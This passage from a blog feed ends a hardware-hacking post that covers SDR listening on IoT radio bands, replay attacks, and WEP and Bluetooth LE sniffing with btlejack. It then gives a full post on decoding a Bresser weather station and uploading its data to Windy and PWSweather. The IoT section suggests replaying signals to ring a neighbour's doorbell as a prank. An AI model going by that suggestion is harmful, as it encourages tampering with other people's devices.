&lt;p&gt;IoT devices love wireless communication, and most of it happens on unlicensed bands that you can legally intercept. For the other bands, you can at least &lt;em&gt;hear them&lt;/em&gt;. Get a &lt;a href=&quot;https://www.nooelec.com/store/sdr.html&quot;&gt;NooElec RTL-SDR dongle&lt;/a&gt; for around $30 and suddenly you can see the radio spectrum. 433MHz, 868MHz, 915MHz – these frequencies are where garage doors, weather stations, car key fobs, and cheap IoT sensors live.&lt;/p&gt;

&lt;p&gt;Start with &lt;a href=&quot;https://airspy.com/download/&quot;&gt;SDR#&lt;/a&gt; or &lt;a href=&quot;https://gqrx.dk/&quot;&gt;GQRX&lt;/a&gt; to visualize signals. Most protocols are simple – no encryption, predictable patterns, and easily susceptible to replay attacks. That smart doorbell? Probably sending data in plain text – and a good prank to make your neighbor’s bell ring. Your car’s tire pressure sensors? Definitely no authentication.&lt;/p&gt;

&lt;p&gt;Don’t forget about 2.4GHz either. WiFi and Bluetooth are everywhere, with a lot of WEP access points still in the wild, as well as hardcoded authentication on Bluetooth low energy – that you can play with using some cheap &lt;a href=&quot;https://microbit.org/&quot;&gt;micro:bits&lt;/a&gt; and &lt;a href=&quot;https://github.com/virtualabs/btlejack&quot;&gt;btlejack&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;3-2-1-go&quot;&gt;3, 2, 1, &lt;em&gt;GO!&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;Hardware hacking isn’t about expensive gear or obscure exploits. It’s about learning the concepts, trying things out, letting some magic smoke escape, and finding that juicy UART port that already has the debug pins soldered from the factory. Start with simple tools, find targets, and explore. The hardware world is full of secrets hiding in plain sight, sometimes even labeled.&lt;/p&gt;

&lt;p&gt;If you participated in the village, thank you for attending. And, as always, kudos to ØxＯＰＯＳɆＣ, to the event organizers and to the community that keeps these events alive.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;P.S.&lt;/em&gt; If you want to get some inspiration on what hardware to buy, check my &lt;a href=&quot;https://jpdias.me/security/2024/05/05/hardware-hacking-inventory.html&quot;&gt;previous post about my go-to toolkit&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Fri, 25 Jul 2025 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/infosec/2025/07/25/iot-hacking-post-mortem.html</link>
        <guid isPermaLink="true">https://jpdias.me/infosec/2025/07/25/iot-hacking-post-mortem.html</guid>
        
        <category>hardware</category>
        
        <category>hacking</category>
        
        <category>router</category>
        
        <category>iot</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>How to Run Your Own Weather Station</title>
        <description>&lt;p&gt;Some months ago I decided to finally acquire a weather station. Nothing fancy, just a cheap enough, no frills, weather station. As I wanted to have the least amount of trouble setting it up, I bought a WiFi-enabled unit, in a way I could stream the data, somehow, via Internet. However, things going smoothly is a rare sight, and there is always more to it. So let’s dive into how to stream data to the Internet with a not-so-WiFi-enabled station.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;the-acquisition&quot;&gt;The Acquisition&lt;/h2&gt;

&lt;p&gt;After looking at some deals here and there, I finally found a station with a price tag of ~100€, which seemed like a good deal, the &lt;a href=&quot;https://www.bresser.com/p/bresser-wi-fi-clearview-weather-station-with-7-in-1-sensor-7002586&quot;&gt;Bresser WIFI ClearView 7-in-1 (ref. 7002586)&lt;/a&gt;. The description stated that it came with sensors for measuring wind, humidity, temperature, rainfall, UV level, and light intensity, which would be more than enough for my purpose.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 50%;&quot; alt=&quot;Weather station monitor&quot; src=&quot;/images/weatherstation/bresser8in1.jpg&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;It took only a few days and the package arrived. However, the package stated &lt;em&gt;8 in 1&lt;/em&gt; — a fact that I simply ignored. So I proceeded to just install and configure the station. Which boils down to connecting the base station to a power source, adding 4 AA batteries to the sensor station, and installing it on the balcony.&lt;/p&gt;

&lt;p&gt;Later that day, I decided to configure the WiFi settings — and that’s when the problems began. The station is supposed to create an access point that can be used to do the first configuration, but no access point was found.After fiddling with it for a while, I decided to give the manual a shot &lt;del&gt;RTFM&lt;/del&gt;, just to find out that there was nothing about WiFi in there. So, after all, it hit me: I had been shipped the wrong model, the &lt;a href=&quot;https://www.bresser.com/p/bresser-8-in-1-clearviewtb-weather-station-7003150&quot;&gt;Bresser 8-in-1 ClearViewTB Weather Station (ref. 7003150)&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 70%;&quot; alt=&quot;Weather station monitor&quot; src=&quot;/images/weatherstation/bresser.jpeg&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Of course I didn’t want all the trouble of shipping it back (especially because it was already mounted), so I went the &lt;em&gt;hard way&lt;/em&gt;. After just confirming that the transmission protocol of the weather sensor station back to the main station was non-encrypted at 868Mhz, it seemed the perfect project to give some use to some of the hardware that I have laying around.&lt;/p&gt;

&lt;h2 id=&quot;the-bresserweathersensorreceive-project&quot;&gt;The BresserWeatherSensorReceive Project&lt;/h2&gt;

&lt;p&gt;Of course, I’m not the first one to want to decode the data from the Bresser weather stations. And the work done by &lt;a href=&quot;https://github.com/matthias-bs/BresserWeatherSensorReceiver&quot;&gt;mathias-bs on the project BresserWeatherSensorReceiver&lt;/a&gt; is the keystone here. Capable of decoding data from most Bresser station models, this piece of magic code can be deployed on any Arduino-compatible platform and just read the data, if you have a compatible radio, namely the CC1101, SX1276/RFM95W, SX1262 or LR1121. If you look carefully to this radio chip list, the SX1276 is a known chip used for LoRa protocol, that also uses 868Mhz in Europe, which is bundle together in a nice packaging in the &lt;a href=&quot;https://lilygo.cc/products/lora3?variant=42272562282677&quot;&gt;TTGO LoRa32 V2.1 (1.6.1)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So, having one of those lying around I just created a new PlatformIO project with the example from mathias-bs hoping that everything worked out of the box &lt;del&gt;(famous last words)&lt;/del&gt;. Of course, nothing is ever so easy, and the library didn’t support decoding of the specific model that I got, and the data was empty, so the decoding was failing completely.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Id: [    6241] Typ: [D] Ch: [0] St: [0] Bat: [Low] RSSI: [-107.5dBm] 
Temp: [---.-C] Hum: [---%] Wmax: [--.-m/s] Wavg: [--.-m/s] Wdir: [---.-deg] Rain: [-----.-mm] UVidx: [--.-] Light: [--.-klx] 
[334842][V][WeatherSensor.cpp:392] getMessage(): [SX1276] Data: D4 6E A7 C8 EB 88 2A D8 AD AA FD AA A8 98 AA BF FC 3E AA 82 22 AA AA BE 3A AA 00 
[334854][D][WeatherSensor.cpp:394] getMessage(): [SX1276] R [D4] RSSI: -70.5
[334861][D][WeatherSensor.h:647] log_message():           Byte #: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 
[334874][D][WeatherSensor.h:657] log_message(): De-whitened Data: C4 0D 62 41 22 80 72 07 00 57 00 02 32 00 15 56 94 00 28 88 00 00 14 90 00 AA 
[334887][V][WeatherSensorDecoders.cpp:67] findSlot(): find_slot(): ID=00006241
[334894][D][WeatherSensorDecoders.cpp:105] findSlot(): sensor[0]: v=0 id=0x00006241 t=13 c=0
[334902][V][WeatherSensorDecoders.cpp:130] findSlot(): find_slot(): Storing into slot #0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;As, unfortunately, time does not grow on trees, I didn’t have the time to dedicate myself to understand the protocol and decode the station data as needed. Thus I went the lazy way and opened an issue on the mathias-bs repository &lt;a href=&quot;https://github.com/matthias-bs/BresserWeatherSensorReceiver/issues/220#issuecomment-2715162555&quot;&gt;Request for support for 7003150 8 in 1 station #220&lt;/a&gt;. The answer to the request was swift and in the space of a day I had a working solution. The station features a not-so-common sensor known as a “globe thermometer”, which is used to calculate the Wet Bulb Globe Temperature (WBGT)&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;At last, we had correct data for the weather station being streamed and matching the values displayed on the display unit.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Id: [    6241] Typ: [D] Ch: [0] St: [0] Bat: [Low] RSSI: [-104.5dBm]
Temp: [  9.6C] Hum: [ 83%] Wmax: [ 3.9m/s] Wavg: [ 3.8m/s] Wdir: [287.0deg] Rain: [   67.6mm] UVidx: [0.0] Light: [0.5klx] 
[332685][V][WeatherSensor.cpp:392] getMessage(): [SX1276] Data: D4 C3 49 C8 EB 8D CA D8 AF BA E2 AA AC DC AA A3 CC 28 AA AF 9D AA AA AA 4A AA 00 
[332697][D][WeatherSensor.cpp:394] getMessage(): [SX1276] R [D4] RSSI: -106.0
[332705][D][WeatherSensor.h:648] log_message():           Byte #: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 
[332717][D][WeatherSensor.h:658] log_message(): De-whitened Data: 69 E3 62 41 27 60 72 05 10 48 00 06 76 00 09 66 82 00 05 37 00 00 00 E0 00 AA 
[332730][V][WeatherSensorDecoders.cpp:67] findSlot(): find_slot(): ID=00006241
[332737][D][WeatherSensorDecoders.cpp:105] findSlot(): sensor[0]: v=0 id=0x00006241 t=13 c=0
[332745][V][WeatherSensorDecoders.cpp:130] findSlot(): find_slot(): Storing into slot #0
&lt;/code&gt;&lt;/pre&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 70%;&quot; alt=&quot;Weather station monitor&quot; src=&quot;/images/weatherstation/wmonitor.jpeg&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;h2 id=&quot;making-the-station-data-accessible&quot;&gt;Making the Station Data Accessible&lt;/h2&gt;

&lt;p&gt;With correct data being collected from the station now it was the time to make the data public. The first option that came to mind was &lt;a href=&quot;https://openweathermap.org/&quot;&gt;OpenWeatherMap&lt;/a&gt; which was, without a doubt, the best (and the only mentally sane) API that I’ve found to &lt;a href=&quot;https://openweathermap.org/stations&quot;&gt;register the station and post data&lt;/a&gt;. The problem was that OpenWeatherMap provides nothing other than an API to access the data, nor you can access the data specific for your weather station via any out of the box application.&lt;/p&gt;

&lt;p&gt;So looking for other options started. The most common one is &lt;a href=&quot;https://www.wunderground.com/&quot;&gt;Weather Underground&lt;/a&gt;, but they are ongoing some controversy due to changes on the pricing to access their APIs (although it seems not to impact access to your own station data). Anyway, another alternative that came to mind is my favorite (by far) weather application, (Windy)[https://www.windy.com/]. I didn’t even know if they supported Personal Weather Stations (PWS, yes, that’s a thing), but I quickly found out they rolled out &lt;a href=&quot;https://stations.windy.com/&quot;&gt;support for PWS’s recently&lt;/a&gt;&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;Ok, so now let’s try to stream out some readings. I was expecting half-decent documented API and a simple POST would do the trick (like in OpenWeatherMap). But reality is… weird.&lt;/p&gt;

&lt;p&gt;So first off, depending on the platform, you need to either do a request to register your station (e.g., OpenWeatherMap) or you need to fill out some form to register your station (Windy and PWSweather). Either way you end up obtaining the API key to be used with that specific station, which makes sense.&lt;/p&gt;

&lt;p&gt;Then documentation gets harder and harder to find. I believe this is mostly caused by most PWS stations that are WiFi connected out of the box support sending data to several services, with not being so common having integrations done from scratch like this one adventure.&lt;/p&gt;

&lt;p&gt;So, focusing on the not so bad one, Windy has some documentation… &lt;a href=&quot;https://community.windy.com/topic/8168/report-your-weather-station-data-to-windy&quot;&gt;on a forum post from 2019 lost in their forums&lt;/a&gt;, but it’s complete information — better than most. So you basically have a JSON object, which can contain both updates to the station information as well as weather observations. Taking from their own example, you can &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://stations.windy.com/pws/update/&amp;lt;API-KEY&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;stations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;station&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;My Home Station&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;lat&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;48.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;lon&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;28.6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;elevation&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tempheight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;windheight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;station&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;My Other Station&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;lat&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;47.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;lon&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;31.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;elevation&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;122&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tempheight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;windheight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;observations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;station&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dateutc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2019-03-15T06:15:34&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;temp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;wind&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;2.8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;winddir&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;189&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;gust&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;3.7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;rh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;station&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dateutc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2019-03-15T06:15:34&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;temp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;2.6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;wind&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;winddir&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;135&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;gust&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;2.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;rh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can even update several stations at the same time. Once again, not bad at all, however it would be nice to have some official documentation on a dedicated page. The problem was that after a few requests, I started to have 401 errors. I did later find out that you can only send a request each 5 minutes (their documentation mentions that &lt;em&gt;So, it’s not necessary send us data every minute, 5 minutes will be fine.&lt;/em&gt;, but that goes a long way to be a hard limit). But with some caching of the values and sending them in the array as observations, everything worked out.&lt;/p&gt;

&lt;p&gt;However, when trying to streaming data to PWSweather things got &lt;em&gt;weirder and weirder&lt;/em&gt;. First off, there is not documentation at all, with the references to custom data upload pointing to open support tickets. After looking across old forums and reddit posts I found out that they use the same API as wunderground. And &lt;a href=&quot;https://www.wxforum.net/index.php?topic=39535.0&quot;&gt;some random user on one of the random forums&lt;/a&gt; tested a lot of endpoints and found out that several? endpoints worked to send data:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;pwsweather.com /pwsupdate/pwsupdate.php?&lt;/li&gt;
  &lt;li&gt;pwsweather.com /weatherstation/updateweatherstation.php?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;but… why the query parameter to send data? &lt;em&gt;wut?&lt;/em&gt; (at this point I was expecting that it was some kind of typo). Let’s look into the Weather Underground API now that we have endpoints to test against. So I quickly found a &lt;a href=&quot;https://stackoverflow.com/questions/56393298/how-to-upload-data-from-my-personal-weather-station&quot;&gt;StackOverflow post&lt;/a&gt; that make it as clear as possible:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;To upload data, send a GET request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://weatherstation.wunderground.com/weatherstation/updateweatherstation.php&lt;/code&gt;&lt;/p&gt;

  &lt;p&gt;A full example: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/updateweatherstation.php?ID=KCASANFR5&amp;amp;PASSWORD=XXXXXX &amp;amp;dateutc=2000-01-01+10%3A32%3A35&amp;amp;winddir=230&amp;amp;windspeedmph=12&amp;amp;windgustmph=12&amp;amp;tempf=70&amp;amp;rainin=0&amp;amp;baromin=29.1&amp;amp;dewptf=68.2&amp;amp;humidity=90&amp;amp;weather=&amp;amp;clouds=&amp;amp;softwaretype=vws%20versionxx&amp;amp;action=updateraw&lt;/code&gt;&lt;/p&gt;

  &lt;p&gt;The minimum required query parameters are:&lt;/p&gt;

  &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ID: the station id
PASSWORD: the station key
dateutc: the time in format YYYY-MM-DD HH:MM:SS, or &quot;now&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;
&lt;/blockquote&gt;

&lt;p&gt;I don’t even know what to say. But summarizing the problems:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Using a GET and query parameters to send data&lt;/li&gt;
  &lt;li&gt;Only supports US units of measurement and not supporting metric&lt;/li&gt;
  &lt;li&gt;Only supports specific units for certain measurements that are not the most common ones (e.g. barometric pressure is commonly measured in milibar/hPa, but somehow the API accepts inches Hg&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;)&lt;/li&gt;
  &lt;li&gt;There is no validation on top of the values sent as part of the payload beyond their type, so completely random values will be considered valid (Windy validates the values to be within plausible sensor readings)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But this seems somehow a standard across several weather services, which &lt;a href=&quot;&quot;&gt;The Weather Company&lt;/a&gt;&lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; defines as the &lt;a href=&quot;https://support.weather.com/s/article/PWS-Upload-Protocol?language=en_US&quot;&gt;PWS Upload Protocol&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Anyhow, using this hell-raised API I was finally able to post data to the PWS weather website. There is also a “trust” rating to the station (that goes from “initializing” to “active”), but it seems to only consider the readings posting rate and nothing more.&lt;/p&gt;

&lt;h2 id=&quot;how-it-looks-like&quot;&gt;How It Looks Like&lt;/h2&gt;

&lt;p&gt;So, after all the struggling, from the wrong weather station model to mess around with nonsense APIs, I was able to have a nice running solution.&lt;/p&gt;

&lt;p&gt;The receptor unit based on the TTGO with the decoder up and running and streaming data to both PWS Weather and Windy, using the small screen to showcase some real time data and the last HTTP request status code can be seen bellow.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 70%;&quot; alt=&quot;TTGO&quot; src=&quot;/images/weatherstation/ttgo.jpeg&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;The following screenshot is from the Windy website, which you can &lt;a href=&quot;https://www.windy.com/station/pws-f0a5fd68?40.230,-8.440,8&quot;&gt;visit here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/weatherstation/windy.png&quot; alt=&quot;Windy Terronhas PWS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And on &lt;a href=&quot;https://www.pwsweather.com/station/pws/terronhas&quot;&gt;PWS Weather we can see data with more detail&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/weatherstation/pws.png&quot; alt=&quot;PWS weather Terronhas PWS&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;footnotes&quot;&gt;Footnotes&lt;/h2&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;The WetBulb Globe Temperature (WBGT) is a measure of the heat stress in direct sunlight, which takes into account: temperature, humidity, wind speed, sun angle and cloud cover (solar radiation). &lt;a href=&quot;https://www.weather.gov/tsa/wbgt&quot;&gt;weather.gov&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
